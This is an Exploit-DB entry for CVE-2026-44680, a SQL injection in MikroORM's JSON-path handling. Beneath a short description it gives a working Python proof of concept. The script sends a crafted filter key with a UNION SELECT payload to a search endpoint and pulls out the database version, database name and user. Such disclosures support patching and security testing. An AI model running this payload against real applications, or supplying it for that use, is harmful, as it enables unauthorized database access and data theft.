- What: SQL injection vulnerability in MikroORM
- Impact: Potential for database compromise
This website uses cookies We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you’ve provided to them or that they’ve collected from your use of their services. You consent to our cookies if you continue to use our website. Show details Allow all cookies Use necessary cookies only EXPLOIT DATABASE EXPLOITS GHDB PAPERS SHELLCODES SEARCH EDB SEARCHSPLOIT MANUAL SUBMISSIONS ONLINE TRAINING MikroORM 7.0.13 - SQL Injection EDB-ID: 52600 CVE: 2026-44680 EDB Verified: Author: CARDOSOURCE Type: WEBAPPS Exploit: / Platform: MULTIPLE Date: 2026-05-29 Vulnerable App: # Exploit Title: MikroORM 7.0.13 - SQL Injection # Google Dork: N/A # Date: 2026-05-27 # Exploit Author: cardosource # Vendor Homepage: https://mikro-orm.io/ # Software Link: https://github.com/mikro-orm/mikro-orm # Version: @mikro-orm/knex <= 6.6.13 / @mikro-orm/sql <= 7.0.13 # Tested on: Docker / Debian Bookworm / Node.js 18 / MariaDB 10.x # CVE: CVE-2026-44680 # Advisory: https://github.com/mikro-orm/mikro-orm/security/advisories/GHSA-cfw5-68c4-ffqp """ Description: The vulnerability exists because MikroORM fails to properly escape runtime-controlled JSON path keys when building JSON_EXTRACT queries. The attacker can break out of the JSON path context and inject arbitrary SQL. Affected API pattern: em.find(Entity, { jsonColumn: { [userControlledKey]: value } }) By injecting crafted JSON-path keys, it becomes possible to execute UNION SELECT statements and extract arbitrary database information. """ import requests import json url = "http://localhost:3000/api/users/search" payload = { "filterField": "$.x' ) OR 1=1 UNION SELECT @@version, DATABASE(), USER(), @@version_comment -- ", "filterValue": "x" } headers = { "Content-Type": "application/json" } response = requests.post(url, json=payload, headers=headers) print(f"Status: {response.status_code}") print(json.dumps(response.json(), indent=2)) Copy Tags: Advisory/Source: Link Databases Links Sites Solutions Exploits Search Exploit-DB OffSec Courses and Certifications Google Hacking Submit Entry Kali Linux Learn Subscriptions Papers SearchSploit Manual VulnHub OffSec Cyber Range Shellcodes Exploit Statistics Proving Grounds Penetration Testing Services EXPLOIT DATABASE BY OFFSEC TERMS PRIVACY ABOUT US FAQ COOKIES © OffSec Services Limited 2026. All rights reserved.